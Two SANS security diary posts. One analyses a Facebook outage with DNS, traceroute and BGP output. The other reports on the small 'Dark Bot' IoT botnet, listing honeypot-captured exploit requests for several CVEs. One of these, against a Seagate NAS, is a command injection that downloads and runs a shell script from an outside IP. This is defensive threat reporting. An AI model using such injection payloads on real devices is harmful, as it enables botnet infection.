Facebook Outage: Yes, its DNS (sort of). A super quick analysis of what is going on.
For the Billions out there still wasting time on Facebook: Enjoy your increased productivity while many Facebook properties (Facebook, Instagram, WhatsApp) are down.
More readable summary of the analysis below: The BGP routes pointing traffic to Facebook's IP address space have been withdrawn. The Internet no longer knows where to find Facebook's IPs. One symptom is that DNS requests are failing. But this is just the result of Facebook hosting its DNS servers inside its own network. Even with working DNS (for example if you still have cached results), the IPs are currently not reachable
Here is a quick view of what may have happened.
1 - Does facebook.com resolve?
% host facebook.com facebook.com has address 31.13.79.35 facebook.com has IPv6 address 2a03:2880:f141:82:face:b00c:0:25de facebook.com mail is handled by 2560 smtpin.vvv.facebook.com. % host www.facebook.com www.facebook.com is an alias for star-mini.c10r.facebook.com. star-mini.c10r.facebook.com has address 31.13.88.35 star-mini.c10r.facebook.com has IPv6 address 2a03:2880:f138:83:face:b00c:0:25de
Yes! (at least for me, it does). But was that just a cached response? Let's follow the DNS chain.
2. What is the NS record for facebook.com according to the .com zone?
(abbreviated output)
% dig NS facebook.com @h.gtld-servers.net
;; AUTHORITY SECTION: facebook.com. 172800 IN NS a.ns.facebook.com. facebook.com. 172800 IN NS b.ns.facebook.com. facebook.com. 172800 IN NS c.ns.facebook.com. facebook.com. 172800 IN NS d.ns.facebook.com. ;; ADDITIONAL SECTION: a.ns.facebook.com. 172800 IN A 129.134.30.12 a.ns.facebook.com. 172800 IN AAAA 2a03:2880:f0fc:c:face:b00c:0:35 b.ns.facebook.com. 172800 IN A 129.134.31.12 b.ns.facebook.com. 172800 IN AAAA 2a03:2880:f0fd:c:face:b00c:0:35 c.ns.facebook.com. 172800 IN A 185.89.218.12 c.ns.facebook.com. 172800 IN AAAA 2a03:2880:f1fc:c:face:b00c:0:35 d.ns.facebook.com. 172800 IN A 185.89.219.12 d.ns.facebook.com. 172800 IN AAAA 2a03:2880:f1fd:c:face:b00c:0:35
3. Let's use one of these NS records
% dig NS facebook.com @129.134.30.12 ; <<>> DiG 9.10.6 <<>> NS facebook.com @129.134.30.12 ;; global options: +cmd ;; connection timed out; no servers could be reached
4. So let's see why we can't reach these servers
% traceroute 129.134.30.12 traceroute to 129.134.30.12 (129.134.30.12), 64 hops max, 52 byte packets 1 [redacted] 0.628 ms 0.159 ms 0.101 ms 2 [redacted] 2.333 ms 1.715 ms 1.706 ms 3 96.120.21.201 (96.120.21.201) 9.123 ms 10.691 ms 10.338 ms 4 96.110.66.37 (96.110.66.37) 9.254 ms 8.754 ms 10.311 ms 5 ae-13-ar02.westside.fl.jacksvil.comcast.net (68.86.168.1) 9.332 ms 11.930 ms 9.746 ms 6 be-33622-cs02.56marietta.ga.ibone.comcast.net (96.110.43.117) 23.797 ms 7 be-2112-pe12.56marietta.ga.ibone.comcast.net (96.110.33.178) 24.322 ms 8 * * *
So Comcast doesn't know how to reach Facebook. Well... BGP should tell them
5. Let's check with a BGP Looking Glass
show router bgp routes 129.134.0.0/16 ipv4 hunt =============================================================================== BGP Router ID:4.69.178.225 AS:3356 Local AS:3356 =============================================================================== Legend - Status codes : u - used, s - suppressed, h - history, d - decayed, * - valid l - leaked, x - stale, > - best, b - backup, p - purge Origin codes : i - IGP, e - EGP, ? - incomplete =============================================================================== BGP IPv4 Routes =============================================================================== No Matching Entries Found. ===============================================================================
So looks like the route is gone. Oh well. Enjoy while it lasts.
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
Boutique "Dark" Botnet Hunting for Crumbs
As I have said before, Internet of Things (IoT) devices are best compared to Mosquitos. Individually, they are annoying. But their large number makes them the most deadly animal around [1]. Many botnets like Mirai or Mozi are going after simple exploits affecting large numbers of devices. These mosquito hunters are like birds in the sense that they live from large numbers of vulnerable devices. The botnets themselves are usually mostly an annoyance unless you get hit by a DoS attack (ever parked your car under a tree with nesting birds?).
But aside from these more visible botnets, there are smaller, "Boutique" botnets. They go after less common vulnerabilities and pick systems that the major botnets find not lucrative enough to go after. Usually, only a few vulnerable devices are exposed. Taking the animal analogy a bit too far: These are like crustaceans on the ocean floor living off what the predators above discard.
One such botnet is "Dark Bot." It mostly scans for a few vulnerabilities, and the botnet itself isn't really all that big. For about 10,000 IPs hitting our honeypots, we may see 3 or 4 "Dark Bots." As far as we are concerned, "Dark Bot" is identified by the User-Agent "Dark" (pretty straightforward).
Dark Bot is interesting as it does pick recent vulnerabilities (only one vulnerability below is not from 2021, and I may have misidentified the exact vulnerability here). It likes simple command injection vulnerabilities and uses them to download and execute a script called "lolol.sh". The script will typically follow the playbook of other worms like Mirai and Mozi in downloading the same binary compiled for different architectures to see what sticks.
So what should you do against this type of botnet? Absolutely nothing. None of these devices should ever be exposed to the "outside." Sure, patching is a bit tricky, but without exposure, these vulnerabilities should not be much of an issue as far as this botnet goes. It scans, infects, and moves on. Radware recently published a few details about this botnet as well [2].
Here are some of the requests we see from this botnet currently:
RealTek SDK (CVE-2021-35395)
POST /goform/formWsc HTTP/1.1
Connection: close
Content-Type: application/x-www-form-urlencoded
User-Agent: Dark
Seagate Blackarmor NAS (CVE-2014-3206)
GET /backupmgt/localJob.php?session=fail;cd+/tmp;wget+http://212.192.241.87/lolol.sh;curl+-O+http://212.192.241.87/lolol.sh;sh+lolol.sh
Connection: close
Accept-Encoding: gzip, deflate
Accept:
User-Agent: Dark
Buffalo WSR-2533DHPL2 firmware Vulnerability (CVE-2021-20090)
This is a simple to exploit command injection vulnerability. Other routers may be affected, as well as they may share the same vulnerable firmware.
POST /images/..%2fapply_abstract.cgi
Connection: close
User-Agent: Dark
RealTek SDK (CVE-2021-35395)
This vulnerability affects various IoT devices using the affected RealTek SDK. Again a simple command injection vulnerability not requiring any authentication.
POST /goform/formSysCmd HTTP/1.1
Connection: close
Content-Type: application/x-www-form-urlencoded
User-Agent: Dark
Geutebrück G-Cam E2 and G-Code (multiple possible 2021 CVEs)
POST //uapi-cgi/certmngr.cgi HTTP/1.1
User-Agent: Dark
[1] https://www.cdc.gov/globalhealth/stories/world-deadliest-animal.html
[2] https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx
---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
Comments